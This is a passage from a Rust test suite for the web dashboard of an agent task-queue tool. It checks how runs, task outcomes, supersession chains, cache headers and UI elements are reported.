16001 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16002 ),
16003 "a failed upgrade must not take the whole strip over the way it used to"
16004 );
16005 assert!(
16006 body.contains("upgradeFailNote"),
16007 "the failure has to reach the loop's own note instead"
16008 );
16009 assert_eq!(
16013 body.matches("upgradeFailNote].filter(Boolean).join")
16014 .count(),
16015 2,
16016 "both loop-why writers (quiet and control) must fold the note in"
16017 );
16018 }
16019
16020 #[test]
16021 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16022 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16025 assert!(APP_JS.contains("function upgradeOverdue("));
16026 }
16027
16028 #[test]
16029 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16030 assert!(
16031 APP_JS.contains("Updated to ${upgradeInfo.to"),
16032 "the operator who asked for the restart wants to know it worked"
16033 );
16034 }
16035
16036 #[test]
16037 fn an_error_is_visible_from_where_the_button_is() {
16038 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16043 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16044 assert!(
16045 alert.contains("position: fixed"),
16046 "an error about the thing under your thumb has to be visible from \
16047 where your thumb is: {alert}"
16048 );
16049 assert!(
16050 alert.contains("z-index: 25"),
16051 "above the dock (20) and the run-actions FAB (15), so neither \
16052 buries it: {alert}"
16053 );
16054 assert!(
16055 alert.contains("var(--tap)"),
16056 "and clear of the dock and the home indicator: {alert}"
16057 );
16058 assert!(
16061 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16062 "the FAB's column stays free: {alert}"
16063 );
16064 }
16065
16066 #[tokio::test]
16067 async fn an_older_attempt_says_what_replaced_it() {
16068 let fx = Fixture::start().await;
16069 let q = fx.queue();
16070 let runs = fx.runs();
16071 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16072 write_run(&runs, first, RunStatus::Stalled);
16073 write_run(&runs, second, RunStatus::Blocked);
16074
16075 let mut t = Task::new(
16076 "one task".to_owned(),
16077 "do it".to_owned(),
16078 PathBuf::from("/repo"),
16079 Source::Human,
16080 );
16081 t.runs = vec![first.to_owned(), second.to_owned()];
16082 q.put(&mut t).expect("put");
16083
16084 let rows = fx.get("/api/runs").await.json();
16088 let by = |short: &str| -> Value {
16089 rows.as_array()
16090 .unwrap()
16091 .iter()
16092 .find(|r| r["short"] == short)
16093 .cloned()
16094 .unwrap_or(Value::Null)
16095 };
16096 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16097 assert!(
16098 by("bbbb")["superseded_by"].is_null(),
16099 "the latest attempt is not superseded by anything"
16100 );
16101 assert!(APP_JS.contains("run.superseded_by"));
16103 assert!(APP_JS.contains("Superseded by"));
16104 }
16105
16106 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16107 let mut t = Task::new(
16108 "one task".to_owned(),
16109 "do it".to_owned(),
16110 PathBuf::from("/repo"),
16111 Source::Human,
16112 );
16113 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16114 t.status = status;
16115 t
16116 }
16117
16118 #[test]
16119 fn source_link_picks_the_page_that_filed_the_task() {
16120 let agent = |node: &str| Source::Agent {
16121 run: "20260904-014455-ab12".to_owned(),
16122 node: node.to_owned(),
16123 };
16124 let chat = source_link(&agent("chat")).expect("chat link");
16125 assert_eq!(chat.kind, "chat");
16126 assert_eq!(chat.id, "20260904-014455-ab12");
16127 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16128 let run = source_link(&agent("implement")).expect("run link");
16129 assert_eq!(
16130 (run.kind, run.href.as_str()),
16131 ("run", "#/runs/20260904-014455-ab12")
16132 );
16133 assert_eq!(source_link(&Source::Human), None);
16134 assert_eq!(
16135 source_link(&Source::Issue {
16136 number: 3,
16137 repo: "o/r".to_owned()
16138 }),
16139 None
16140 );
16141 let odd = source_link(&Source::Agent {
16142 run: "a b/c".to_owned(),
16143 node: "chat".to_owned(),
16144 })
16145 .expect("link");
16146 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16147 }
16148
16149 #[test]
16150 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16151 assert!(
16152 !APP_JS.contains("src.node === \"chat\""),
16153 "inline href rule is back"
16154 );
16155 assert!(
16156 APP_JS.matches("sourceLinkOf(").count() >= 4,
16157 "helper must serve every page"
16158 );
16159 assert!(
16160 APP_JS.matches("openChatLink(").count() >= 3,
16161 "the run page still needs its explicit chat link"
16162 );
16163 assert!(
16164 !APP_JS.contains("const openChat = el("),
16165 "the Queue card duplicates its source label link again"
16166 );
16167 assert!(
16168 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16169 "the task page must link a chat source label too"
16170 );
16171 }
16172
16173 #[test]
16174 fn task_ref_carries_the_source_link_for_a_chat_task() {
16175 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16176 t.source = Source::Agent {
16177 run: "20260904-014455-ab12".to_owned(),
16178 node: "chat".to_owned(),
16179 };
16180 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16181 let v = serde_json::to_value(&out).expect("json");
16182 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16183 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16184 assert_eq!(v["source_label"], t.source.label());
16185
16186 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16187 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16188 .expect("json");
16189 assert!(v["source_link"].is_null(), "{v}");
16190 }
16191
16192 #[test]
16193 fn task_view_serializes_source_link() {
16194 let mut t = Task::new(
16195 "t".to_owned(),
16196 "t".to_owned(),
16197 PathBuf::from("/repo"),
16198 Source::Agent {
16199 run: "20260901-000000-aaaa".to_owned(),
16200 node: "implement".to_owned(),
16201 },
16202 );
16203 t.runs.clear();
16204 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16205 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16206 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16207 }
16208
16209 #[tokio::test]
16210 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16211 let fx = Fixture::start().await;
16212 let runs = fx.runs();
16213 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16214 write_run(&runs, old, RunStatus::Blocked);
16215 write_run(&runs, new, RunStatus::Merged);
16216 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16217 fx.queue().put(&mut t).expect("put");
16218
16219 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16220 let task = &view["task"];
16221 assert_eq!(task["status"], "done");
16222 assert_eq!(task["is_latest"], false);
16223 assert_eq!(task["latest"]["short"], "bbbb");
16224 assert_eq!(task["finished_by"]["id"], new);
16225 assert_eq!(task["finished_by"]["outcome"], "merged");
16226 assert_eq!(task["closed_by_hand"], false);
16227 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16228 assert!(APP_JS.contains("finished_by"));
16229 assert!(APP_JS.contains("superseded by run"));
16230 }
16231
16232 #[tokio::test]
16233 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16234 let fx = Fixture::start().await;
16235 let runs = fx.runs();
16236 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16237 write_run(&runs, old, RunStatus::Stalled);
16238 write_run(&runs, new, RunStatus::Blocked);
16239 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16240 fx.queue().put(&mut t).expect("put");
16241
16242 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16243 assert_eq!(task["status"], "held");
16244 assert_eq!(task["is_latest"], true);
16245 assert!(task["latest"].is_null());
16246 assert!(task["finished_by"].is_null());
16247 assert_eq!(task["closed_by_hand"], false);
16248 }
16249
16250 #[tokio::test]
16251 async fn a_direct_run_has_no_task_outcome() {
16252 let fx = Fixture::start().await;
16253 let runs = fx.runs();
16254 let id = "20260901-000000-aaaa";
16255 write_run(&runs, id, RunStatus::Blocked);
16256 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16257 assert!(view["task"].is_null());
16258 }
16259
16260 #[test]
16261 fn task_outcome_does_not_guess_a_finishing_run() {
16262 let a = "20260901-000000-aaaa";
16263 let b = "20260901-000000-bbbb";
16264 let c = "20260901-000000-cccc";
16265 let dir = tempfile::tempdir().expect("tempdir");
16266 write_run(dir.path(), a, RunStatus::Blocked);
16267 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16268 let read = |id: &str| read_run(dir.path(), id).ok();
16270 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16273 let out = task_outcome(&t, a, 3, read);
16274 assert!(out.finished_by.is_none());
16275 assert!(out.closed_by_hand);
16276 let latest = out.latest.expect("latest");
16277 assert_eq!(latest.id, c);
16278 assert_eq!(latest.status, None);
16279 assert_eq!(latest.outcome, "record unreadable");
16280
16281 write_run(dir.path(), c, RunStatus::Ready);
16283 let t = outcome_task(&[a, c], TaskStatus::Done);
16284 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16285 assert_eq!(out.finished_by.expect("finisher").id, c);
16286 assert!(!out.closed_by_hand);
16287
16288 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16290 assert!(task_outcome(&t, a, 3, read).is_latest);
16291 }
16292
16293 #[tokio::test]
16294 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16295 let fx = Fixture::start().await;
16300 let q = fx.queue();
16301 let runs = fx.runs();
16302 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16303 write_run(&runs, first, RunStatus::Blocked);
16304 write_run(&runs, second, RunStatus::Merged);
16305
16306 let mut t = Task::new(
16307 "one task".to_owned(),
16308 "do it".to_owned(),
16309 PathBuf::from("/repo"),
16310 Source::Human,
16311 );
16312 t.runs = vec![first.to_owned(), second.to_owned()];
16313 q.put(&mut t).expect("put");
16314
16315 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16316 assert_eq!(earlier["superseded_by"], "dddd");
16317 assert_eq!(earlier["latest_attempt"]["id"], second);
16318 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16319 assert_eq!(
16320 earlier["latest_attempt"]["resolved"], true,
16321 "the run that replaced it landed, so this one reads as settled"
16322 );
16323
16324 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16325 assert!(
16326 later["superseded_by"].is_null(),
16327 "the latest attempt is not superseded by anything"
16328 );
16329 assert!(
16330 later["latest_attempt"].is_null(),
16331 "the latest attempt has no later attempt of its own"
16332 );
16333
16334 assert!(APP_JS.contains("run.latest_attempt"));
16341 assert!(APP_JS.contains("data-superseded"));
16342 assert!(APP_JS.contains("#/runs/${latest.id}"));
16343 }
16344
16345 #[tokio::test]
16346 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16347 let fx = Fixture::start().await;
16353 let q = fx.queue();
16354 let runs = fx.runs();
16355 let (a, b, c) = (
16356 "20260901-000000-aaaa",
16357 "20260901-000000-bbbb",
16358 "20260901-000000-cccc",
16359 );
16360 write_run(&runs, a, RunStatus::Blocked);
16361 write_run(&runs, b, RunStatus::Blocked);
16362 write_run(&runs, c, RunStatus::Merged);
16363
16364 let mut t = Task::new(
16365 "retried twice".to_owned(),
16366 "do it".to_owned(),
16367 PathBuf::from("/repo"),
16368 Source::Human,
16369 );
16370 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16371 q.put(&mut t).expect("put");
16372
16373 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16374 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16375 assert_eq!(
16376 view["latest_attempt"]["id"], c,
16377 "the chain's current head, not the intermediate Blocked retry"
16378 );
16379 assert_eq!(view["latest_attempt"]["resolved"], true);
16380
16381 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16382 assert_eq!(mid["latest_attempt"]["id"], c);
16383 assert_eq!(mid["latest_attempt"]["resolved"], true);
16384 }
16385
16386 #[tokio::test]
16387 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16388 let fx = Fixture::start().await;
16389 let q = fx.queue();
16390 let runs = fx.runs();
16391
16392 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16395 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16396 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16397 let mut t1 = Task::new(
16398 "still stuck".to_owned(),
16399 "do it".to_owned(),
16400 PathBuf::from("/repo"),
16401 Source::Human,
16402 );
16403 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16404 q.put(&mut t1).expect("put");
16405 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16406 assert_eq!(view1["latest_attempt"]["resolved"], false);
16407 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16408 assert_eq!(view1["latest_attempt"]["done"], true);
16409
16410 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16412 write_run(&runs, run_a, RunStatus::Blocked);
16413 write_run(&runs, run_b, RunStatus::Implementing);
16414 let mut t3 = Task::new(
16415 "retrying".to_owned(),
16416 "do it".to_owned(),
16417 PathBuf::from("/repo"),
16418 Source::Human,
16419 );
16420 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16421 q.put(&mut t3).expect("put");
16422 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16423 assert_eq!(view3["latest_attempt"]["id"], run_b);
16424 assert_eq!(view3["latest_attempt"]["resolved"], false);
16425 assert_eq!(view3["latest_attempt"]["done"], false);
16426
16427 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16432 write_run(&runs, noop_a, RunStatus::Blocked);
16433 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16434 let mut t2 = Task::new(
16435 "claims done".to_owned(),
16436 "do it".to_owned(),
16437 PathBuf::from("/repo"),
16438 Source::Human,
16439 );
16440 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16441 q.put(&mut t2).expect("put");
16442 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16443 assert_eq!(
16444 view2["latest_attempt"]["resolved"], false,
16445 "an unverified no-op claim must not read as a confirmed finish"
16446 );
16447
16448 assert!(APP_JS.contains("latest.resolved"));
16451 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16454 assert!(APP_JS.contains("Latest attempt: "));
16455 assert!(APP_JS.contains("in flight"));
16456 assert!(APP_JS.contains("not resolved"));
16457 }
16458
16459 #[tokio::test]
16460 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16461 let fx = Fixture::start().await;
16462 let js = fx.get("/app.js").await;
16468 assert_eq!(js.status, 200);
16469 let tag = js
16470 .header("etag")
16471 .expect("an etag to revalidate against")
16472 .to_owned();
16473 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16474 assert_eq!(
16475 js.header("cache-control"),
16476 Some("no-cache, must-revalidate"),
16477 "the phone has to ask every time"
16478 );
16479
16480 let again = fx
16483 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16484 .await;
16485 assert_eq!(
16486 again.status, 304,
16487 "a deck it already has costs one round trip"
16488 );
16489 assert!(again.body.is_empty(), "304 carries no body");
16490
16491 let weak = fx
16494 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16495 .await;
16496 assert_eq!(weak.status, 304);
16497 let stale = fx
16498 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16499 .await;
16500 assert_eq!(stale.status, 200, "an older build must be replaced");
16501 assert!(stale.body.contains("renderRunActions"));
16502 }
16503
16504 #[test]
16505 fn the_task_detail_has_an_actions_fab_and_sheet() {
16506 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16507 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16508 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16509 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16511 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16512 assert!(APP_JS.contains("renderTaskActions(task);"));
16514 assert!(APP_JS.contains("renderTaskActions(null);"));
16515 let sheet = APP_JS
16517 .find("function renderTaskActions")
16518 .expect("sheet renderer");
16519 let body = &APP_JS[sheet..sheet + 3000];
16520 assert!(body.contains("changePriority("));
16521 assert!(body.contains("openTaskEdit(task)"));
16522 assert!(body.contains("renderTaskHoldBox(host"));
16523 assert!(body.contains("renderTaskDoneBox(host"));
16524 assert!(body.contains("renderTaskDeleteBox(host"));
16525 assert!(APP_JS.contains("API.priority(id)"));
16526 assert!(APP_JS.contains("API.deleteTask(id)"));
16527 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16529 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16531 }
16532
16533 #[test]
16534 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16535 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16536 let actions = INDEX_HTML
16537 .find("id=\"run-actions-box\"")
16538 .expect("actions box");
16539 assert!(task < actions, "the task entry comes first in the sheet");
16540 assert!(APP_JS.contains("renderRunTaskEntry"));
16541 assert!(APP_JS.contains("\"Open task \""));
16542 assert!(APP_JS.contains("started directly, no task"));
16544 assert!(APP_JS.contains("sheet-task-link"));
16545 assert!(APP_JS.contains("task-chip-link"));
16546 }
16547
16548 #[test]
16549 fn the_deck_never_sends_the_operator_to_a_terminal() {
16550 assert!(
16553 !APP_JS.contains("Run `magi fold` first"),
16554 "the deck must offer the fold, not prescribe a shell command"
16555 );
16556 assert!(APP_JS.contains("foldRun:"));
16557 assert!(APP_JS.contains("resumeRun:"));
16558 assert!(APP_JS.contains("renderRunActions"));
16559
16560 assert!(APP_JS.contains("armedFold"));
16562 assert!(APP_JS.contains("Yes, fold worktrees"));
16563
16564 assert!(APP_JS.contains("can no longer be resumed"));
16567 }
16568
16569 #[test]
16570 fn a_finished_run_explains_itself_with_its_own_last_line() {
16571 assert!(
16577 !APP_JS.contains("collapsed on agent quota"),
16578 "a stall must not be explained by a cause the deck did not check"
16579 );
16580 assert!(
16581 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16582 "and a block must not offer a guess with an `or` in it"
16583 );
16584
16585 assert!(
16589 APP_JS.contains("setText(r.event, run.event || \"\")"),
16590 "the run's last line is rendered unconditionally"
16591 );
16592 assert!(
16593 !APP_JS.contains("moving && run.event"),
16594 "and never gated on the run still moving"
16595 );
16596
16597 assert!(APP_JS.contains("lost to quota"));
16599 }
16600
16601 #[test]
16623 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16624 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16625 let shapes_body_start =
16626 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16627 let shapes_close = APP_JS[shapes_body_start..]
16628 .find("].map(")
16629 .expect("the shape list is closed by its done-computing .map(...)")
16630 + shapes_body_start;
16631 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16632
16633 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16634 for entry in shapes_src.split('{').skip(1) {
16635 let waiting = entry.contains("waiting: true");
16636 let dead = entry.contains("live: \"dead\"");
16637 let status_at =
16638 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16639 let status_end = entry[status_at..]
16640 .find('"')
16641 .expect("the status string is closed")
16642 + status_at;
16643 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16644 }
16645 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16646
16647 let done_rule_marker = "done: !";
16651 let done_rule_at = APP_JS[shapes_close..]
16652 .find(done_rule_marker)
16653 .expect("the done rule follows the shape list")
16654 + shapes_close
16655 + done_rule_marker.len();
16656 let includes_at = APP_JS[done_rule_at..]
16657 .find(".includes(shape.status)")
16658 .expect("the done rule ends in .includes(shape.status)")
16659 + done_rule_at;
16660 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16661 .trim()
16662 .trim_start_matches('[')
16663 .trim_end_matches(']')
16664 .split(',')
16665 .map(|s| s.trim().trim_matches('"'))
16666 .filter(|s| !s.is_empty())
16667 .collect();
16668
16669 let shapes: Vec<(bool, String, bool, bool)> = shapes
16670 .into_iter()
16671 .map(|(waiting, status, dead)| {
16672 let done = !not_done.contains(&status.as_str());
16673 (waiting, status, dead, done)
16674 })
16675 .collect();
16676
16677 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16681 if waiting {
16682 return "waiting";
16683 }
16684 if dead
16685 && !matches!(
16686 status,
16687 "merged"
16688 | "ready"
16689 | "stalled"
16690 | "blocked"
16691 | "failed"
16692 | "verified_noop"
16693 | "superseded"
16694 | "already_in_base"
16695 )
16696 {
16697 return "stale";
16698 }
16699 match status {
16700 "merged" | "ready" => "landed",
16701 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16702 | "already_in_base" => "ended",
16703 _ => "flight",
16704 }
16705 }
16706
16707 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16710 match filter_key {
16711 "active" => !done,
16712 "flight" => !done && !waiting && !dead,
16713 "stale" => !done && !waiting && dead,
16714 "waiting" => waiting,
16715 "done" => done,
16716 "all" => true,
16717 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16718 }
16719 }
16720
16721 let compatible = |section: &str, filter_key: &str| {
16722 shapes.iter().any(|(waiting, status, dead, done)| {
16723 run_section(*waiting, status, *dead) == section
16724 && filter_matches(filter_key, *waiting, *dead, *done)
16725 })
16726 };
16727
16728 let expected = [
16733 ("waiting", [true, false, false, true, true, true]),
16734 ("stale", [true, false, true, false, false, true]),
16735 ("flight", [true, true, false, false, false, true]),
16736 ("landed", [false, false, false, false, true, true]),
16737 ("ended", [false, false, false, false, true, true]),
16738 ];
16739 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16740
16741 for (section, wants) in expected {
16742 for (filter_key, want) in filter_keys.iter().zip(wants) {
16743 assert_eq!(
16744 compatible(section, filter_key),
16745 want,
16746 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16747 );
16748 }
16749 }
16750
16751 assert!(
16754 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16755 );
16756 assert!(APP_JS.contains(
16757 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16758 ));
16759 assert!(APP_JS.contains(
16760 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16761 ));
16762 }
16763
16764 #[tokio::test]
16765 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16766 let dir = tempfile::tempdir().expect("tempdir");
16770 let explicit = dir.path().join("not-a-checkout");
16771 std::fs::create_dir_all(&explicit).expect("create dir");
16772 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16773
16774 let missing = dir.path().join("does-not-exist-at-all");
16775 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16776 }
16777
16778 #[test]
16779 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16780 assert!(APP_JS.contains("function statsDonutArcs"));
16781 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16782 assert!(APP_JS.contains("function statusInBucket"));
16784 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16785 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16786 let buckets = [
16787 "merged",
16788 "ready",
16789 "in_progress",
16790 "blocked",
16791 "failed",
16792 "verified_noop",
16793 "superseded",
16794 "stalled",
16795 ];
16796 for key in buckets {
16797 let var = format!("--verdict-{key}:");
16798 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16800 assert!(
16801 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16802 "{key}"
16803 );
16804 }
16805 }
16806}